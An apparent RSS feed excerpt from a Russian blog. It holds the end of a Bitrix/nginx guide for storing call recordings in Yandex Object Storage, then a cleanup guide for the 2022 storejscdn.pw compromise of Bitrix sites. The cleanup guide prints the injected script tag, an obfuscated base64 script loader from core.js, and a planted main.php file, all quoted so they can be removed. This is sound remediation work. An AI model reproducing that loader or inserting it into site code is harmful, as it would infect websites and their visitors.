  <p id="Pk5Z">По дефолту при подключенном хранилище у нас попадут туда все файлы, но нам нужно чтобы туда писались записи звонков. Для этого указываем расширение mp3. Я добавил еще mp4 для примера в статье, где указал, что мы хотим отправлять в облачное хранилище файлы весом от 10 мб до 10 гб. В общем, прочитайте информационное сообщение, там расписано что да как. Можно создать отдельный бакет хоть для каждого модуля или один бакет для всех модулей. В списке правил работы с облаком можете хоть все модули указать.</p>
  <p id="LOnv">Настроили? <strong>Сохраняем.</strong></p>
  <p id="qHdA">Теперь у нас есть список подключенных нами облачных хранилищ, которые работают по заданным нами правилам.</p>
  <p id="VdLH">Чтобы протестировать, совершите один звонок с портала на свой личный телефон, поговорите сами с собой, например скажите себе &quot;Я всё смогу, я сделаю это!&quot;. Обновите страницу со списком облачных хранилищ, должен поменяться счетчик файлов и их объем.</p>
  <figure id="4WKt" class="m_custom">
    <img src="https://teletype.in/files/de/dd/deddcdff-58c5-4408-bc5d-305a6c225e6f.png" width="799" />
  </figure>
  <p id="HSaO">Файлы ушли в облако, поздравляю. Но это не всё. Бывает что файлы отправляются в облако, но в портале они вдруг стали недоступны.</p>
  <figure id="na4m" class="m_custom">
    <img src="https://teletype.in/files/a2/26/a226e27d-9bac-4cbb-ac09-d2a34d24a274.png" width="855" />
    <figcaption>Пример. Звонок выгрузился в облако, но стал недоступен для прослушивания.</figcaption>
  </figure>
  <p id="RXrf">Эта проблема скорее всего связана с тем, что у вас отсутствует правило для хранилища Yandex Object Storage в конфигурации nginx. При установке BitrixVM это правило туда записывается, но если вы ставили старую версию 7.4.3 и младше, то правила для хранилища Яндекс нет.</p>
  <p id="7xed">Решаем проблему.</p>
  <p id="vqCo">Подключаемся по SSH к вашему серверу.</p>
  <p id="T6nt">Если у вас BitrixVM, выходим из меню в которое мы попали.</p>
  <figure id="uGmh" class="m_custom">
    <img src="https://teletype.in/files/9c/7a/9c7a6990-8199-4d0b-80ea-a92c61a116ac.png" width="955" />
  </figure>
  <p id="oePr">Идем в конфиг nginx.</p>
  <p id="jTqT"><code>/etc/nginx/bx/conf/</code></p>
  <p id="zkg2">Открываем файл конфига <code>bitrix_general.conf</code></p>
  <p id="jWkQ">Находим секцию <code>location ^~ /upload/bx_cloud_upload/</code></p>
  <p id="RhJa">Видим там правила для разных хранилищ. Вставляем новое правило для Yandex Object Storage в этой секции, в начале или в конце, без разницы.</p>
  <figure id="BeTX" class="m_custom">
    <img src="https://teletype.in/files/9c/3e/9c3ee56e-e019-4a88-9f31-9efdf04d7dc1.png" width="1113" />
    <figcaption>Пример добавленного правила</figcaption>
  </figure>
  <p id="haJC"><strong>Само правило:</strong></p>
  <p id="JEjX"><code>location ~ ^/upload/bx_cloud_upload/(http[s]?)\.([^/:\s]+)\.storage\.yandexcloud\.net/([^\s]+)$ { internal; resolver 8.8.8.8; proxy_method GET; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Server $host; #proxy_max_temp_file_size 0; proxy_pass $1://$2.storage.yandexcloud.net/$3; }</code></p>
  <p id="3PfV">Сохраняем и перезапускаем nginx.</p>
  <p id="lMKn"><code>systemctl restart nginx</code></p>
  <p id="wh0u">Снова проверяем работу CRM, звоним самому себе и пробуем послушать звонок выгруженный в облако. Должно всё работать. Если нужна помощь - пишите мне на почту, может помогу.</p>
  <p id="5Gig">P.S. В версии BitrixVM 7.4.4 уже не нужно добавлять эти строки, они там уже должны быть.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@webkrasavin/storejscdn-bitrix</guid><link>https://teletype.in/@webkrasavin/storejscdn-bitrix?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin</link><comments>https://teletype.in/@webkrasavin/storejscdn-bitrix?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=webkrasavin#comments</comments><dc:creator>webkrasavin</dc:creator><title>Лечение storejscdn pw в Bitrix CMS</title><pubDate>Tue, 15 Nov 2022 05:17:05 GMT</pubDate><description><![CDATA[В день конституции Украины массово взломали сайты на Bitrix. Простым удалением строчки встроенного скрипта решить проблему не получится. Спустя время снова появится строка https storejscdn pw jqueryui js.]]></description><content:encoded><![CDATA[
  <p id="8zhc">В день конституции Украины массово взломали сайты на Bitrix. Простым удалением строчки встроенного скрипта решить проблему не получится. Спустя время снова появится строка https storejscdn pw jqueryui js.</p>
  <h2 id="xSp0">Удаляем строку storejscdn pw</h2>
  <p id="jAYY">из файла /bitrix/modules/main/prolog.php удаляем строку</p>
  <pre id="MdJO">&lt;sсriрt src=&quot;httрs://stоrеjscdn.рw/jquеrуui.js&quot;&gt;&lt;/script&gt;</pre>
  <h2 id="XelJ">Изменяем core.js</h2>
  <p id="3tLP">Желательно обновить модуль ядра, но энтузиасты пишут что достаточно убрать строку в конце этого файла (путь /bitrix/js/main/core/core.js), которая выглядит так, либо очень похожа:</p>
  <p id="dxE7"><code>s=dосument.сrеateElement(&#x60;scriрt&#x60;);s.srс=atоb(&#x60;aHR0cHM6Ly9zdG9yZWpzY2RuLnB3L2pxdWVyeXVpLmpz&#x60;);dосument.head.appеndСhild(s);</code></p>
  <h2 id="JtgB">Удаляем файл в компоненте main.file.input</h2>
  <p id="GBqC">Файл находится по следующему пути /bitrix/components/bitrix/main.file.input/main.php</p>
  <p id="JgUf">Если посмотреть на других незараженных сайтах, в этом компоненте не существует файла main.php. Удаляем.</p>

]]></content:encoded></item></channel></rss>